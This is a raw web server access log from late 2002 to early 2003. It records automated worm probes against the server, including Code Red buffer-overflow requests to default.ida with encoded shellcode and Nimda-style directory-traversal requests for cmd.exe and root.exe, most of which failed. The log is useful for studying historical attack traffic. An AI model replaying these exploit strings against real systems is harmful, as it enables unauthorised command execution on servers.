/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 252 193.248.28.242 - - [10/Jan/2003:18:27:04 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.248.28.242 - - [10/Jan/2003:18:27:14 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 65.196.202.111 - - [19/Dec/2002:16:37:59 +0100] "HEAD / HTTP/1.0" 200 0 148.233.159.248 - - [17/Dec/2002:15:05:49 +0100] "HEAD / HTTP/1.1" 200 0 218.145.25.81 - - [15/Dec/2002:23:25:25 +0100] "HEAD / HTTP/1.0" 200 0 24.239.157.152 - - [13/Dec/2002:14:44:57 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 252 193.224.129.208 - - [11/Dec/2002:15:09:20 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.224.129.208 - - [11/Dec/2002:15:09:22 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.224.129.208 - - [11/Dec/2002:15:09:23 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.224.129.208 - - [11/Dec/2002:15:09:23 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.224.129.208 - - [11/Dec/2002:15:09:24 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.224.129.208 - - [11/Dec/2002:15:09:24 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.224.129.208 - - [11/Dec/2002:15:09:25 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.224.129.208 - - [11/Dec/2002:15:09:25 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.224.129.208 - - [11/Dec/2002:15:09:26 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.224.129.208 - - [11/Dec/2002:15:09:27 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.224.129.208 - - [11/Dec/2002:15:09:27 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.224.129.208 - - [11/Dec/2002:15:09:28 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.224.129.208 - - [11/Dec/2002:15:09:28 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.224.129.208 - - [11/Dec/2002:15:09:29 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.224.129.208 - - [11/Dec/2002:15:09:29 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.224.129.208 - - [11/Dec/2002:15:09:30 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.95.83.13 - - [03/Dec/2002:11:17:57 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.95.83.13 - - [03/Dec/2002:11:18:03 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.95.83.13 - - [03/Dec/2002:11:18:09 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 4.63.174.103 - - [29/Nov/2002:11:28:28 +0100] "CONNECT maila.microsoft.com:25 / HTTP/1.0" 400 299 206.251.229.142 - - [21/Nov/2002:22:22:08 +0100] "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\\winnt\\system32\\cmd.exe+c:\\inetpub\\scripts\\script.exe HTTP/1.1" 404 246 64.2.239.218 - - [19/Nov/2002:22:07:43 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir" 404 - 66.12.69.98 - - [09/Nov/2002:17:28:45 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 252 213.70.207.133 - - [26/Oct/2002:22:18:13 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 - 193.248.5.42 - - [24/Oct/2002:16:04:34 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.248.5.42 - - [24/Oct/2002:16:04:35 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.248.5.42 - - [24/Oct/2002:16:04:37 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.248.5.42 - - [24/Oct/2002:16:04:38 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.248.5.42 - - [24/Oct/2002:16:04:39 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.248.5.42 - - [24/Oct/2002:16:04:40 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.248.5.42 - - [24/Oct/2002:16:04:42 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.248.5.42 - - [24/Oct/2002:16:04:43 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.248.5.42 - - [24/Oct/2002:16:04:44 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.5.42 - - [24/Oct/2002:16:04:45 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.5.42 - - [24/Oct/2002:16:04:46 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.5.42 - - [24/Oct/2002:16:04:47 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.5.42 - - [24/Oct/2002:16:04:47 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.248.5.42 - - [24/Oct/2002:16:04:48 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.248.5.42 - - [24/Oct/2002:16:04:49 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.140.46.41 - - [21/Oct/2002:14:33:10 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.140.46.41 - - [21/Oct/2002:14:33:22 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.140.46.41 - - [21/Oct/2002:14:33:29 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.140.46.41 - - [21/Oct/2002:14:33:37 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.140.46.41 - - [21/Oct/2002:14:33:46 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.140.46.41 - - [21/Oct/2002:14:33:53 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.140.46.41 - - [21/Oct/2002:14:33:59 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.140.46.41 - - [21/Oct/2002:14:34:11 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.140.46.41 - - [21/Oct/2002:14:34:20 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.140.46.41 - - [21/Oct/2002:14:34:32 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.140.46.41 - - [21/Oct/2002:14:34:41 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.140.46.41 - - [21/Oct/2002:14:34:49 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.140.46.41 - - [21/Oct/2002:14:34:57 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 200.67.65.103 - - [18/Oct/2002:12:08:29 +0200] "GET / HTTP/1.1" 400 307 202.22.130.35 - - [14/Oct/2002:14:11:05 +0200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 252 141.28.10.50 - - [12/Oct/2002:17:06:18 +0200] "HEAD / HTTP/1.0" 200 0 148.235.80.231 - - [06/Oct/2002:22:10:37 +0200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 252 63.148.227.66 - - [29/Sep/2002:21:17:04 +0200] "GET / HTTP/1.1" 400 307 216.54.239.50 - - [29/Sep/2002:21:10:29 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 403 214 216.54.239.50 - - [29/Sep/2002:21:10:30 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 212 216.54.239.50 - - [29/Sep/2002:21:10:31 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 222 216.54.239.50 - - [29/Sep/2002:21:10:31 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 222 216.54.239.50 - - [29/Sep/2002:21:10:32 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 216.54.239.50 - - [29/Sep/2002:21:10:33 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 253 216.54.239.50 - - [29/Sep/2002:21:10:35 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 253 216.54.239.50 - - [29/Sep/2002:21:10:36 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 269 216.54.239.50 - - [29/Sep/2002:21:10:37 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 216.54.239.50 - - [29/Sep/2002:21:10:38 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 216.54.239.50 - - [29/Sep/2002:21:10:38 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 216.54.239.50 - - [29/Sep/2002:21:10:39 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 216.54.239.50 - - [29/Sep/2002:21:10:40 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 216.54.239.50 - - [29/Sep/2002:21:10:41 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 216.54.239.50 - - [29/Sep/2002:21:10:41 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 216.54.239.50 - - [29/Sep/2002:21:10:42 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 66.250.38.225 - - [29/Sep/2002:16:03:09 +0200] "GET / HTTP/1.1" 400 307 80.9.165.40 - - [17/Sep/2002:22:41:34 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 80.9.165.40 - - [17/Sep/2002:22:41:35 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 80.9.165.40 - - [17/Sep/2002:22:41:36 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 80.9.165.40 - - [17/Sep/2002:22:41:37 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 80.9.165.40 - - [17/Sep/2002:22:41:38 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 80.9.165.40 - - [17/Sep/2002:22:41:39 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 80.9.165.40 - - [17/Sep/2002:22:41:40 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 80.9.165.40 - - [17/Sep/2002:22:41:42 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 80.9.165.40 - - [17/Sep/2002:22:41:43 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 80.9.165.40 - - [17/Sep/2002:22:41:44 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 80.9.165.40 - - [17/Sep/2002:22:41:45 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 80.9.165.40 - - [17/Sep/2002:22:41:47 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 80.9.165.40 - - [17/Sep/2002:22:41:48 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 80.9.165.40 - - [17/Sep/2002:22:41:50 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 80.9.165.40 - - [17/Sep/2002:22:41:57 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 80.9.165.40 - - [17/Sep/2002:22:41:59 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 210.71.73.9 - - [17/Sep/2002:22:32:54 +0200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 252 144.137.215.69 - - [17/Sep/2002:16:25:04 +0200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 205 12.219.248.104 - - [15/Sep/2002:18:38:42 +0200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 205 193.248.97.72 - - [08/Sep/2002:17:37:13 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.248.97.72 - - [08/Sep/2002:17:37:17 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.248.97.72 - - [08/Sep/2002:17:37:20 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.248.97.72 - - [08/Sep/2002:17:37:23 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.248.97.72 - - [08/Sep/2002:17:37:24 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.248.97.72 - - [08/Sep/2002:17:37:25 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.248.97.72 - - [08/Sep/2002:17:37:26 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.248.97.72 - - [08/Sep/2002:17:37:26 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.248.97.72 - - [08/Sep/2002:17:37:27 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.97.72 - - [08/Sep/2002:17:37:28 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.97.72 - - [08/Sep/2002:17:37:29 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.97.72 - - [08/Sep/2002:17:37:30 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.248.97.72 - - [08/Sep/2002:17:37:30 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.248.97.72 - - [08/Sep/2002:17:37:31 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.248.97.72 - - [08/Sep/2002:17:37:33 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.248.97.72 - - [08/Sep/2002:17:37:33 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.201.100.203 - - [07/Sep/2002:11:22:00 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.201.100.203 - - [07/Sep/2002:11:22:02 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.201.100.203 - - [07/Sep/2002:11:22:03 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.201.100.203 - - [07/Sep/2002:11:22:05 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.201.100.203 - - [07/Sep/2002:11:22:07 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.201.100.203 - - [07/Sep/2002:11:22:09 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.201.100.203 - - [07/Sep/2002:11:22:10 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.201.100.203 - - [07/Sep/2002:11:22:12 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.201.100.203 - - [07/Sep/2002:11:22:13 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.201.100.203 - - [07/Sep/2002:11:22:15 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.201.100.203 - - [07/Sep/2002:11:22:16 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.201.100.203 - - [07/Sep/2002:11:22:18 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.201.100.203 - - [07/Sep/2002:11:22:20 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.201.100.203 - - [07/Sep/2002:11:22:21 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.201.100.203 - - [07/Sep/2002:11:22:23 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.201.100.203 - - [07/Sep/2002:11:22:30 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 24.174.195.23 - - [17/Aug/2002:20:52:39 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 24.174.195.23 - - [17/Aug/2002:20:52:39 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 24.174.195.23 - - [17/Aug/2002:20:52:40 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 24.174.195.23 - - [17/Aug/2002:20:52:41 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 24.174.195.23 - - [17/Aug/2002:20:52:42 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 24.174.195.23 - - [17/Aug/2002:20:52:43 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 24.174.195.23 - - [17/Aug/2002:20:52:43 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 24.174.195.23 - - [17/Aug/2002:20:52:44 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 24.174.195.23 - - [17/Aug/2002:20:52:45 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 24.174.195.23 - - [17/Aug/2002:20:52:49 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 24.174.195.23 - - [17/Aug/2002:20:52:50 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 24.174.195.23 - - [17/Aug/2002:20:52:51 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 24.174.195.23 - - [17/Aug/2002:20:52:52 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 24.174.195.23 - - [17/Aug/2002:20:52:53 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 24.174.195.23 - - [17/Aug/2002:20:52:53 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 24.174.195.23 - - [17/Aug/2002:20:52:54 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 61.170.133.116 - - [16/Aug/2002:22:51:31 +0200] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 205